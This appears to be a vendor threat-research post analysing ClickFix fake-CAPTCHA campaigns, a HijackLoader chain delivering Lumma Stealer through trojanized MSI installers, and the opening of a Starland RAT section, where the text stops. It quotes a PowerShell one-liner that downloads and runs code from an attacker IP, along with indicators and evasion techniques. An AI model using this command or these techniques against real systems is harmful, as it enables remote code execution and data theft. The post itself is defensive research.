ClickFix Reloaded: From Mass HijackLoader Infections to Stealth EtherHiding RATs

July 31, 2026by: Samuel Handelman, CyOps Research Labs

Executive Summary

In recent years, ClickFix attacks have become a staple in social engineering. This rising tactic was so successful that it evolved into a new attack called ConsentFix, which allows attackers to steal cloud account tokens. As expected, the evolution of this attack continues to adapt as notoriety and detections increase from defense teams.

Cynet observed several threats that abused the wave of ClickFix attacks, including HijackLoader and Starland RAT, which uses Etherhiding for C&C URL retrieval. The HijackLoader campaign was seen in high volume both in internal telemetry and in public OSINT. As is the case with HijackLoader, it abused malicious PowerShell commands from the ClickFix attack that loaded an MSI file containing the loader itself. A new version of Starland RAT was installed via a ClickFix attack that created a scheduled task to run a malicious PowerShell command, which executed malicious Python bytecode that connects to its C&C for further instructions.

Here, we detail two such campaigns Cynet caught in the wild — a widescale HijackLoader operation hiding behind trojanized MSI installers, and a quieter Starland RAT campaign that pulls its C&C address straight from the Ethereum blockchain. We learned that even a technique as simple as copy-and-paste is being paired with increasingly sophisticated evasion, from legitimate-binary sideloading to blockchain-based C&C resolution, and that defenders need to watch ClickFix well beyond the malware use case.

It was only about ten years ago that vulnerabilities were being exploited left and right in Internet Explorer, Chrome, and Adobe Flash. Exploit kits like Rig and Angler EK were king – they were responsible for a significant portion of malware infections at the time. What made them so successful was their ability to detect the browser or Flash version the victim had, run the corresponding exploit code, and successfully execute malware on the victim’s machine without the victim ever downloading or double clicking on a payload. These drive-by attacks were highly successful because they required minimal user intervention – a very desirable trait for an infection vector.

For a while, it looked like social engineering was becoming a thing of the past and that browser exploits were the future of initial access. Attackers no longer needed to trick people into anything; exploit kits could automatically do their bidding through malicious JavaScript embedded in compromised websites. However, as this model of large-scale, silent exploitation became increasingly unsustainable, the software ecosystem began to respond. Browser vendors hardened their software, Adobe announced the end of life for Flash, and exploit kits were left increasingly irrelevant in the years that followed. The threat actors’ dream of infecting victims automatically came to an end. As a result, social engineering continued to play a central role in the cyber threat landscape because humans are still the weakest link.

As browser-based exploitation declined, attackers increasingly returned to techniques that depended on user interaction rather than silent compromise. Office macros later made a temporary comeback as attackers found creative ways to trick users into enabling them. However, Microsoft eventually made an important decision in 2022 that caused a major shift in the threat landscape by disabling macros by default for Office documents downloaded from the internet. Macros became less prevalent once again as attackers shifted to other delivery methods, including LNK files, ISO files used to bypass Mark of the Web (MotW), and even the old double-extension trick, making users think they were double-clicking a .docx file when they were actually executing a .exe file. These techniques still relied on deception, often by creating a sense of urgency around something like an unexpected invoice or bank transfer. But the broader pattern was clear: when technical avenues narrowed, attackers kept finding new ways to make the user perform the critical step. What if that step could be framed not as opening a file, but as fixing a technical issue?

The ClickFix Takeover

Over the last several years, a new technique dubbed ClickFix has rapidly emerged in the threat landscape. In a report released last year, Microsoft claimed that 47% of the initial access methods it observed were ClickFix, putting it ahead of veteran methods like phishing. The premise is simple: people are constantly approving CAPTCHAs on different websites, especially in the age of AI, where bots are everywhere. So why not make a fake CAPTCHA that copies a malicious command to the user’s clipboard and tells the user to press a few keys? It requires little effort from both the attacker and the victim, which is probably why it has become so successful. ClickFix campaigns start fileless and appear to be actual user activity. In fact, recent Cynet research demonstrated how ClickFix-style attacks can lead to hands-on-keyboard access in a matter of minutes, highlighting just how quickly these seemingly simple interactions can escalate into full compromises.

This same copy-paste playbook proved so effective that attackers quickly began applying it beyond traditional malware delivery. Instead of using the fake “fix” to run a payload, they adapted the technique to hijack cloud accounts. That is where ConsentFix, also known as AuthCodeFix, comes into the picture. These attacks often begin with SEO poisoning or malvertising that leads the user to a landing page asking them to authenticate to their Microsoft account. When the user clicks the authentication button, a real Microsoft login page opens, making the flow appear legitimate. Eventually, however, the authorization flow fails, and that is where the “Fix” comes in: the user is instructed to copy the failed redirect URL, often pointing to a non-existent localhost address, back into the malicious website. That URL contains an OAuth authorization code that the attackers can exchange for tokens and use to access the victim’s Microsoft account. From there, they can enumerate the environment, compromise corporate email, and carry out additional malicious activity without ever dropping malware on the machine.

While ConsentFix has yet to reach the heights of ClickFix, there is already a toolkit to host the attack available on the Russian language hacker forum XSS. The user posted in detail about ConsentFix attacks, along with a toolkit that allows attackers to easily create sites to convince users to pass along the authentication URL to the attacker.

Figure 1– Timeline of ClickFix milestones

Most ClickFix landing pages today lean on that same need for familiarity, posing as Cloudflare or reCAPTCHA pages to appear legitimate to unsuspecting victims. The following examples show common ClickFix page templates seen in recent campaigns.

Figure 2 – Example of a reCAPTCHA ClickFix site

Figure 3 – Example of a Cloudflare ClickFix site

At Cynet, we have come across several ClickFix campaigns attempting to infiltrate our customers. As the volume and diversity of these campaigns continue to increase, ClickFix has become an important area of focus for understanding the technique and helping protect people from falling victim to it. In this article, we cover two campaigns we observed: a HijackLoader campaign that surged in volume, and a stealthier ClickFix campaign that installed a Python RAT.

HijackLoader Deploys Lumma Stealer From Malicious MSIs

In April, Cynet detected a HijackLoader ClickFix campaign that deployed Lumma Stealer via malicious MSI files. The MSIs contained legitimate, benign executables – such as ESET’s free tool SysInspector – hiding the malware in a sideloaded DLL that the signed ESET binary would load. The campaign was observed using multiple variations of similar ClickFix commands that used lightweight PowerShell loaders to begin the next stages. In some variants, the attackers added fake comments in the commands to make users believe they were following the instructions of a legitimate CAPTCHA.

Initial Access

As with other ClickFix attacks, this attack chain began when the user was presented with a fraudulent webpage instructing them to run a command on their machine to fix an error. Based on the RAY-ID in the command, the page was likely masquerading as Cloudflare to make the request appear legitimate to an unsuspecting user.

The user then opened the Run window and entered the provided command. The following PowerShell command was seen across multiple customers in April:

iex(irm 85[.]11[.]161[.]198:9191 -UseBasicParsing) # RAY-ID:735428-SGTP5; Anti-bot autodetection

Although we don’t have the original site that served this specific infection, we found other ClickFix sites serving a similar command using overlapping infrastructure and serving a similar MSI file:

Figure 4 – ClickFix site from the HijackLoader campaign masquerading as FACEIT and Cloudflare

Execution

The above command downloaded a long PowerShell script from hXXp[://]85[.]11[.]161[.]198:9191/ using the Invoke-RestMethod cmdlet and executed it in memory using Invoke-Expression. When executed, the next stage wrote additional Base64-encoded PowerShell code to a PS1 file and then ran it. This was the last PowerShell stage in the infection chain. Its job was to download a file from the C&C server, which, according to the code, may have been either a .exe file or a .msi file. In this specific infection chain, we observed an MSI file being downloaded.

The MSI file was installed quietly, with a /qn flag passed to ensure no UI was shown, and immediately ran the installed software. In our case, we observed the MSI file installing ESET’s tool SysInspector as Celerity-Monitor.exe, alongside a malicious DLL called sciter-x.dll that Celerity-Monitor.exe loaded.

Defense Evasion

The downloaded script contained a lot of benign junk code to hide its real intentions. However, this junk code was extremely repetitive, making it easy to spot the real code, which was encoded as a Base64 string in a variable called $data. Unlike most PowerShell stagers, including the ones used in the previous steps of this infection chain, this script used a COM object to download the MSI file. In many attacks that use MSI files, attackers can abuse a feature in msiexec.exe that allows them to pass a URL to a remote MSI file directly. Here, however, the attackers chose to download the file themselves using a less common method in PowerShell, perhaps to evade detection.

Figure 5 – PowerShell script that downloads the MSI file via COM

The sciter-x.dll file appeared to be originally a legitimate DLL that was patched to read a file called filter-config.tmp. The DLL decrypted this file, read the name of a legitimate DLL to load, which in our case was tapisrv.dll, loaded that DLL into memory, overwrote its memory with shellcode that was decrypted from the file, and passed execution to it. This technique can evade some EDR detections by executing shellcode within the memory space of a legitimate module rather than allocating new private memory regions.

Figure 6 – Main files installed by the HijackLoader MSI

Command and Control

Once the shellcode ran, a few more executables were dropped to disk and executed, including AppData\Roaming\winrepository_v2_0\Crisp.exe and AppData\Local\Temp\EXEMessenger_net40.exe. After execution, EXEMessenger_net40.exe attempted to connect back to the IP address 91[.]84[.]123[.]231, but at the time of analysis, the server was no longer responding. It also repeatedly made HTTP HEAD requests to http://example.com, perhaps to help the real C&C traffic blend in with benign traffic.

Starland RAT – New Infection Chain and New Commands

Unlike the previous campaign, which appeared to be large and had a high volume of samples in the wild, this campaign had a much lower profile and was observed in only one customer environment, ultimately installing Starland RAT on the victim’s machine. The threat actor tricked the user into running a command that installed a scheduled task, which then downloaded and installed a Python-based implant on the victim’s machine. The malware retrieved its actual C&C URL from the Ethereum blockchain using a technique called “EtherHiding”. Cynet originally observed this activity back in a customer’s environment in May 2026, prior to Cisco’s publication. The version of Starland RAT we observed appears to include additional commands not seen in Cisco’s sample.